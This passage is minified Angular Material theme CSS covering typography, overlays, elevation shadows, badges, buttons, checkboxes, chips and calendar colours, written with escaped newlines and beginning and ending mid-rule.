Neue\",sans-serif;font-size:12px}\n.mat-radio-button{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-select{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-select-trigger{height:1.125em}\n.mat-slide-toggle-content{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-slider-thumb-label-text{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:12px;font-weight:500}\n.mat-stepper-horizontal,.mat-stepper-vertical{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-step-label{font-size:14px;font-weight:400}\n.mat-step-sub-label-error{font-weight:400}\n.mat-step-label-error{font-size:14px}\n.mat-step-label-selected{font-size:14px;font-weight:500}\n.mat-tab-group{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-tab-label,.mat-tab-link{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:14px;font-weight:500}\n.mat-toolbar,.mat-toolbar h1,.mat-toolbar h2,.mat-toolbar h3,.mat-toolbar h4,.mat-toolbar h5,.mat-toolbar h6{font:500 20px/32px Roboto,\"Helvetica Neue\",sans-serif;margin:0}\n.mat-tooltip{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:10px;padding-top:6px;padding-bottom:6px}\n.mat-tooltip-handset{font-size:14px;padding-top:8px;padding-bottom:8px}\n.mat-list-item{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-list-option{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-list-base .mat-list-item{font-size:16px}\n.mat-list-base .mat-list-item .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}\n.mat-list-base .mat-list-item .mat-line:nth-child(n+2){font-size:14px}\n.mat-list-base .mat-list-option{font-size:16px}\n.mat-list-base .mat-list-option .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}\n.mat-list-base .mat-list-option .mat-line:nth-child(n+2){font-size:14px}\n.mat-list-base .mat-subheader{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:14px;font-weight:500}\n.mat-list-base[dense] .mat-list-item{font-size:12px}\n.mat-list-base[dense] .mat-list-item .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}\n.mat-list-base[dense] .mat-list-item .mat-line:nth-child(n+2){font-size:12px}\n.mat-list-base[dense] .mat-list-option{font-size:12px}\n.mat-list-base[dense] .mat-list-option .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}\n.mat-list-base[dense] .mat-list-option .mat-line:nth-child(n+2){font-size:12px}\n.mat-list-base[dense] .mat-subheader{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:12px;font-weight:500}\n.mat-option{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:16px}\n.mat-optgroup-label{font:500 14px/24px Roboto,\"Helvetica Neue\",sans-serif}\n.mat-simple-snackbar{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:14px}\n.mat-simple-snackbar-action{line-height:1;font-family:inherit;font-size:inherit;font-weight:500}\n.mat-tree{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-nested-tree-node,.mat-tree-node{font-weight:400;font-size:14px}\n.mat-ripple{overflow:hidden;position:relative}\n.mat-ripple.mat-ripple-unbounded{overflow:visible}\n.mat-ripple-element{position:absolute;border-radius:50%;pointer-events:none;transition:opacity,-webkit-transform 0s cubic-bezier(0,0,.2,1);transition:opacity,transform 0s cubic-bezier(0,0,.2,1);transition:opacity,transform 0s cubic-bezier(0,0,.2,1),-webkit-transform 0s cubic-bezier(0,0,.2,1);-webkit-transform:scale(0);transform:scale(0)}\n@media (-ms-high-contrast:active){.mat-ripple-element{display:none}}\n.cdk-visually-hidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;outline:0;-webkit-appearance:none;-moz-appearance:none}\n.cdk-global-overlay-wrapper,.cdk-overlay-container{pointer-events:none;top:0;left:0;height:100%;width:100%}\n.cdk-overlay-container{position:fixed;z-index:1000}\n.cdk-overlay-container:empty{display:none}\n.cdk-global-overlay-wrapper{display:flex;position:absolute;z-index:1000}\n.cdk-overlay-pane{position:absolute;pointer-events:auto;box-sizing:border-box;z-index:1000;display:flex;max-width:100%;max-height:100%}\n.cdk-overlay-backdrop{position:absolute;top:0;bottom:0;left:0;right:0;z-index:1000;pointer-events:auto;-webkit-tap-highlight-color:transparent;transition:opacity .4s cubic-bezier(.25,.8,.25,1);opacity:0}\n.cdk-overlay-backdrop.cdk-overlay-backdrop-showing{opacity:1}\n@media screen and (-ms-high-contrast:active){.cdk-overlay-backdrop.cdk-overlay-backdrop-showing{opacity:.6}}\n.cdk-overlay-dark-backdrop{background:rgba(0,0,0,.32)}\n.cdk-overlay-transparent-backdrop,.cdk-overlay-transparent-backdrop.cdk-overlay-backdrop-showing{opacity:0}\n.cdk-overlay-connected-position-bounding-box{position:absolute;z-index:1000;display:flex;flex-direction:column;min-width:1px;min-height:1px}\n.cdk-global-scrollblock{position:fixed;width:100%;overflow-y:scroll}\n@-webkit-keyframes cdk-text-field-autofill-start{/*!*/}\n@keyframes cdk-text-field-autofill-start{/*!*/}\n@-webkit-keyframes cdk-text-field-autofill-end{/*!*/}\n@keyframes cdk-text-field-autofill-end{/*!*/}\n.cdk-text-field-autofill-monitored:-webkit-autofill{-webkit-animation-name:cdk-text-field-autofill-start;animation-name:cdk-text-field-autofill-start}\n.cdk-text-field-autofill-monitored:not(:-webkit-autofill){-webkit-animation-name:cdk-text-field-autofill-end;animation-name:cdk-text-field-autofill-end}\ntextarea.cdk-textarea-autosize{resize:none}\ntextarea.cdk-textarea-autosize-measuring{height:auto!important;overflow:hidden!important;padding:2px 0!important;box-sizing:content-box!important}\n.mat-ripple-element{background-color:rgba(0,0,0,.1)}\n.mat-option{color:rgba(0,0,0,.87)}\n.mat-option:focus:not(.mat-option-disabled),.mat-option:hover:not(.mat-option-disabled){background:rgba(0,0,0,.04)}\n.mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(0,0,0,.04)}\n.mat-option.mat-active{background:rgba(0,0,0,.04);color:rgba(0,0,0,.87)}\n.mat-option.mat-option-disabled{color:rgba(0,0,0,.38)}\n.mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#3f51b5}\n.mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#ff4081}\n.mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}\n.mat-optgroup-label{color:rgba(0,0,0,.54)}\n.mat-optgroup-disabled .mat-optgroup-label{color:rgba(0,0,0,.38)}\n.mat-pseudo-checkbox{color:rgba(0,0,0,.54)}\n.mat-pseudo-checkbox::after{color:#fafafa}\n.mat-pseudo-checkbox-disabled{color:#b0b0b0}\n.mat-primary .mat-pseudo-checkbox-checked,.mat-primary .mat-pseudo-checkbox-indeterminate{background:#3f51b5}\n.mat-accent .mat-pseudo-checkbox-checked,.mat-accent .mat-pseudo-checkbox-indeterminate,.mat-pseudo-checkbox-checked,.mat-pseudo-checkbox-indeterminate{background:#ff4081}\n.mat-warn .mat-pseudo-checkbox-checked,.mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}\n.mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#b0b0b0}\n.mat-elevation-z0{box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-elevation-z1{box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)}\n.mat-elevation-z2{box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)}\n.mat-elevation-z3{box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)}\n.mat-elevation-z4{box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)}\n.mat-elevation-z5{box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)}\n.mat-elevation-z6{box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}\n.mat-elevation-z7{box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)}\n.mat-elevation-z8{box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)}\n.mat-elevation-z9{box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)}\n.mat-elevation-z10{box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)}\n.mat-elevation-z11{box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)}\n.mat-elevation-z12{box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)}\n.mat-elevation-z13{box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)}\n.mat-elevation-z14{box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)}\n.mat-elevation-z15{box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)}\n.mat-elevation-z16{box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)}\n.mat-elevation-z17{box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)}\n.mat-elevation-z18{box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)}\n.mat-elevation-z19{box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)}\n.mat-elevation-z20{box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)}\n.mat-elevation-z21{box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)}\n.mat-elevation-z22{box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)}\n.mat-elevation-z23{box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)}\n.mat-elevation-z24{box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)}\n.mat-app-background{background-color:#fafafa;color:rgba(0,0,0,.87)}\n.mat-theme-loaded-marker{display:none}\n.mat-autocomplete-panel{background:#fff;color:rgba(0,0,0,.87)}\n.mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)}\n.mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:#fff}\n.mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:rgba(0,0,0,.87)}\n.mat-badge-content{color:#fff;background:#3f51b5}\n@media (-ms-high-contrast:active){.mat-badge-content{outline:solid 1px;border-radius:0}}\n.mat-badge-accent .mat-badge-content{background:#ff4081;color:#fff}\n.mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}\n.mat-badge{position:relative}\n.mat-badge-hidden .mat-badge-content{display:none}\n.mat-badge-disabled .mat-badge-content{background:#b9b9b9;color:rgba(0,0,0,.38)}\n.mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:-webkit-transform .2s ease-in-out;transition:transform .2s ease-in-out;transition:transform .2s ease-in-out, -webkit-transform .2s ease-in-out;-webkit-transform:scale(.6);transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}\n.mat-badge-content._mat-animation-noopable,.ng-animate-disabled .mat-badge-content{transition:none}\n.mat-badge-content.mat-badge-active{-webkit-transform:none;transform:none}\n.mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}\n.mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}\n.mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}\n.mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}\n[dir=rtl] .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}\n.mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}\n[dir=rtl] .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}\n.mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}\n[dir=rtl] .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}\n.mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}\n[dir=rtl] .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}\n.mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}\n.mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}\n.mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}\n.mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}\n[dir=rtl] .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}\n.mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}\n[dir=rtl] .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}\n.mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}\n[dir=rtl] .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}\n.mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}\n[dir=rtl] .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}\n.mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}\n.mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}\n.mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}\n.mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}\n[dir=rtl] .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}\n.mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}\n[dir=rtl] .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}\n.mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}\n[dir=rtl] .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}\n.mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}\n[dir=rtl] .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}\n.mat-bottom-sheet-container{box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12);background:#fff;color:rgba(0,0,0,.87)}\n.mat-button,.mat-icon-button,.mat-stroked-button{color:inherit;background:0 0}\n.mat-button.mat-primary,.mat-icon-button.mat-primary,.mat-stroked-button.mat-primary{color:#3f51b5}\n.mat-button.mat-accent,.mat-icon-button.mat-accent,.mat-stroked-button.mat-accent{color:#ff4081}\n.mat-button.mat-warn,.mat-icon-button.mat-warn,.mat-stroked-button.mat-warn{color:#f44336}\n.mat-button.mat-accent[disabled],.mat-button.mat-primary[disabled],.mat-button.mat-warn[disabled],.mat-button[disabled][disabled],.mat-icon-button.mat-accent[disabled],.mat-icon-button.mat-primary[disabled],.mat-icon-button.mat-warn[disabled],.mat-icon-button[disabled][disabled],.mat-stroked-button.mat-accent[disabled],.mat-stroked-button.mat-primary[disabled],.mat-stroked-button.mat-warn[disabled],.mat-stroked-button[disabled][disabled]{color:rgba(0,0,0,.26)}\n.mat-button.mat-primary .mat-button-focus-overlay,.mat-icon-button.mat-primary .mat-button-focus-overlay,.mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#3f51b5}\n.mat-button.mat-accent .mat-button-focus-overlay,.mat-icon-button.mat-accent .mat-button-focus-overlay,.mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#ff4081}\n.mat-button.mat-warn .mat-button-focus-overlay,.mat-icon-button.mat-warn .mat-button-focus-overlay,.mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}\n.mat-button[disabled] .mat-button-focus-overlay,.mat-icon-button[disabled] .mat-button-focus-overlay,.mat-stroked-button[disabled] .mat-button-focus-overlay{background-color:transparent}\n.mat-button .mat-ripple-element,.mat-icon-button .mat-ripple-element,.mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}\n.mat-button-focus-overlay{background:#000}\n.mat-stroked-button:not([disabled]){border-color:rgba(0,0,0,.12)}\n.mat-fab,.mat-flat-button,.mat-mini-fab,.mat-raised-button{color:rgba(0,0,0,.87);background-color:#fff}\n.mat-fab.mat-primary,.mat-flat-button.mat-primary,.mat-mini-fab.mat-primary,.mat-raised-button.mat-primary{color:#fff}\n.mat-fab.mat-accent,.mat-flat-button.mat-accent,.mat-mini-fab.mat-accent,.mat-raised-button.mat-accent{color:#fff}\n.mat-fab.mat-warn,.mat-flat-button.mat-warn,.mat-mini-fab.mat-warn,.mat-raised-button.mat-warn{color:#fff}\n.mat-fab.mat-accent[disabled],.mat-fab.mat-primary[disabled],.mat-fab.mat-warn[disabled],.mat-fab[disabled][disabled],.mat-flat-button.mat-accent[disabled],.mat-flat-button.mat-primary[disabled],.mat-flat-button.mat-warn[disabled],.mat-flat-button[disabled][disabled],.mat-mini-fab.mat-accent[disabled],.mat-mini-fab.mat-primary[disabled],.mat-mini-fab.mat-warn[disabled],.mat-mini-fab[disabled][disabled],.mat-raised-button.mat-accent[disabled],.mat-raised-button.mat-primary[disabled],.mat-raised-button.mat-warn[disabled],.mat-raised-button[disabled][disabled]{color:rgba(0,0,0,.26)}\n.mat-fab.mat-primary,.mat-flat-button.mat-primary,.mat-mini-fab.mat-primary,.mat-raised-button.mat-primary{background-color:#3f51b5}\n.mat-fab.mat-accent,.mat-flat-button.mat-accent,.mat-mini-fab.mat-accent,.mat-raised-button.mat-accent{background-color:#ff4081}\n.mat-fab.mat-warn,.mat-flat-button.mat-warn,.mat-mini-fab.mat-warn,.mat-raised-button.mat-warn{background-color:#f44336}\n.mat-fab.mat-accent[disabled],.mat-fab.mat-primary[disabled],.mat-fab.mat-warn[disabled],.mat-fab[disabled][disabled],.mat-flat-button.mat-accent[disabled],.mat-flat-button.mat-primary[disabled],.mat-flat-button.mat-warn[disabled],.mat-flat-button[disabled][disabled],.mat-mini-fab.mat-accent[disabled],.mat-mini-fab.mat-primary[disabled],.mat-mini-fab.mat-warn[disabled],.mat-mini-fab[disabled][disabled],.mat-raised-button.mat-accent[disabled],.mat-raised-button.mat-primary[disabled],.mat-raised-button.mat-warn[disabled],.mat-raised-button[disabled][disabled]{background-color:rgba(0,0,0,.12)}\n.mat-fab.mat-primary .mat-ripple-element,.mat-flat-button.mat-primary .mat-ripple-element,.mat-mini-fab.mat-primary .mat-ripple-element,.mat-raised-button.mat-primary .mat-ripple-element{background-color:rgba(255,255,255,.1)}\n.mat-fab.mat-accent .mat-ripple-element,.mat-flat-button.mat-accent .mat-ripple-element,.mat-mini-fab.mat-accent .mat-ripple-element,.mat-raised-button.mat-accent .mat-ripple-element{background-color:rgba(255,255,255,.1)}\n.mat-fab.mat-warn .mat-ripple-element,.mat-flat-button.mat-warn .mat-ripple-element,.mat-mini-fab.mat-warn .mat-ripple-element,.mat-raised-button.mat-warn .mat-ripple-element{background-color:rgba(255,255,255,.1)}\n.mat-flat-button:not([class*=mat-elevation-z]),.mat-stroked-button:not([class*=mat-elevation-z]){box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)}\n.mat-raised-button:not([disabled]):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)}\n.mat-raised-button[disabled]:not([class*=mat-elevation-z]){box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-fab:not([class*=mat-elevation-z]),.mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}\n.mat-fab:not([disabled]):active:not([class*=mat-elevation-z]),.mat-mini-fab:not([disabled]):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)}\n.mat-fab[disabled]:not([class*=mat-elevation-z]),.mat-mini-fab[disabled]:not([class*=mat-elevation-z]){box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-button-toggle-group,.mat-button-toggle-standalone{box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)}\n.mat-button-toggle-group-appearance-standard,.mat-button-toggle-standalone.mat-button-toggle-appearance-standard{box-shadow:none}\n.mat-button-toggle{color:rgba(0,0,0,.38)}\n.mat-button-toggle .mat-button-toggle-focus-overlay{background-color:rgba(0,0,0,.12)}\n.mat-button-toggle-appearance-standard{color:rgba(0,0,0,.87);background:#fff}\n.mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#000}\n.mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px rgba(0,0,0,.12)}\n[dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}\n.mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px rgba(0,0,0,.12)}\n.mat-button-toggle-checked{background-color:#e0e0e0;color:rgba(0,0,0,.54)}\n.mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:rgba(0,0,0,.87)}\n.mat-button-toggle-disabled{color:rgba(0,0,0,.26);background-color:#eee}\n.mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:#fff}\n.mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#bdbdbd}\n.mat-button-toggle-group-appearance-standard,.mat-button-toggle-standalone.mat-button-toggle-appearance-standard{border:solid 1px rgba(0,0,0,.12)}\n.mat-card{background:#fff;color:rgba(0,0,0,.87)}\n.mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)}\n.mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-card-subtitle{color:rgba(0,0,0,.54)}\n.mat-checkbox-frame{border-color:rgba(0,0,0,.54)}\n.mat-checkbox-checkmark{fill:#fafafa}\n.mat-checkbox-checkmark-path{stroke:#fafafa!important}\n@media (-ms-high-contrast:black-on-white){.mat-checkbox-checkmark-path{stroke:#000!important}}\n.mat-checkbox-mixedmark{background-color:#fafafa}\n.mat-checkbox-checked.mat-primary .mat-checkbox-background,.mat-checkbox-indeterminate.mat-primary .mat-checkbox-background{background-color:#3f51b5}\n.mat-checkbox-checked.mat-accent .mat-checkbox-background,.mat-checkbox-indeterminate.mat-accent .mat-checkbox-background{background-color:#ff4081}\n.mat-checkbox-checked.mat-warn .mat-checkbox-background,.mat-checkbox-indeterminate.mat-warn .mat-checkbox-background{background-color:#f44336}\n.mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#b0b0b0}\n.mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#b0b0b0}\n.mat-checkbox-disabled .mat-checkbox-label{color:rgba(0,0,0,.54)}\n@media (-ms-high-contrast:active){.mat-checkbox-disabled{opacity:.5}}\n@media (-ms-high-contrast:active){.mat-checkbox-background{background:0 0}}\n.mat-checkbox .mat-ripple-element{background-color:#000}\n.mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#3f51b5}\n.mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#ff4081}\n.mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}\n.mat-chip.mat-standard-chip{background-color:#e0e0e0;color:rgba(0,0,0,.87)}\n.mat-chip.mat-standard-chip .mat-chip-remove{color:rgba(0,0,0,.87);opacity:.4}\n.mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)}\n.mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}\n.mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}\n.mat-chip.mat-standard-chip::after{background:#000}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#3f51b5;color:#fff}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background:rgba(255,255,255,.1)}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background:rgba(255,255,255,.1)}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#ff4081;color:#fff}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#fff;opacity:.4}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background:rgba(255,255,255,.1)}\n.mat-table{background:#fff}\n.mat-table tbody,.mat-table tfoot,.mat-table thead,.mat-table-sticky,[mat-footer-row],[mat-header-row],[mat-row],mat-footer-row,mat-header-row,mat-row{background:inherit}\nmat-footer-row,mat-header-row,mat-row,td.mat-cell,td.mat-footer-cell,th.mat-header-cell{border-bottom-color:rgba(0,0,0,.12)}\n.mat-header-cell{color:rgba(0,0,0,.54)}\n.mat-cell,.mat-footer-cell{color:rgba(0,0,0,.87)}\n.mat-calendar-arrow{border-top-color:rgba(0,0,0,.54)}\n.mat-datepicker-content .mat-calendar-next-button,.mat-datepicker-content .mat-calendar-previous-button,.mat-datepicker-toggle{color:rgba(0,0,0,.54)}\n.mat-calendar-table-header{color:rgba(0,0,0,.38)}\n.mat-calendar-table-header-divider::after{background:rgba(0,0,0,.12)}\n.mat-calendar-body-label{color:rgba(0,0,0,.54)}\n.mat-calendar-body-cell-content{color:rgba(0,0,0,.87);border-color:transparent}\n.mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected){color:rgba(0,0,0,.38)}\n.cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected),.cdk-program-focused 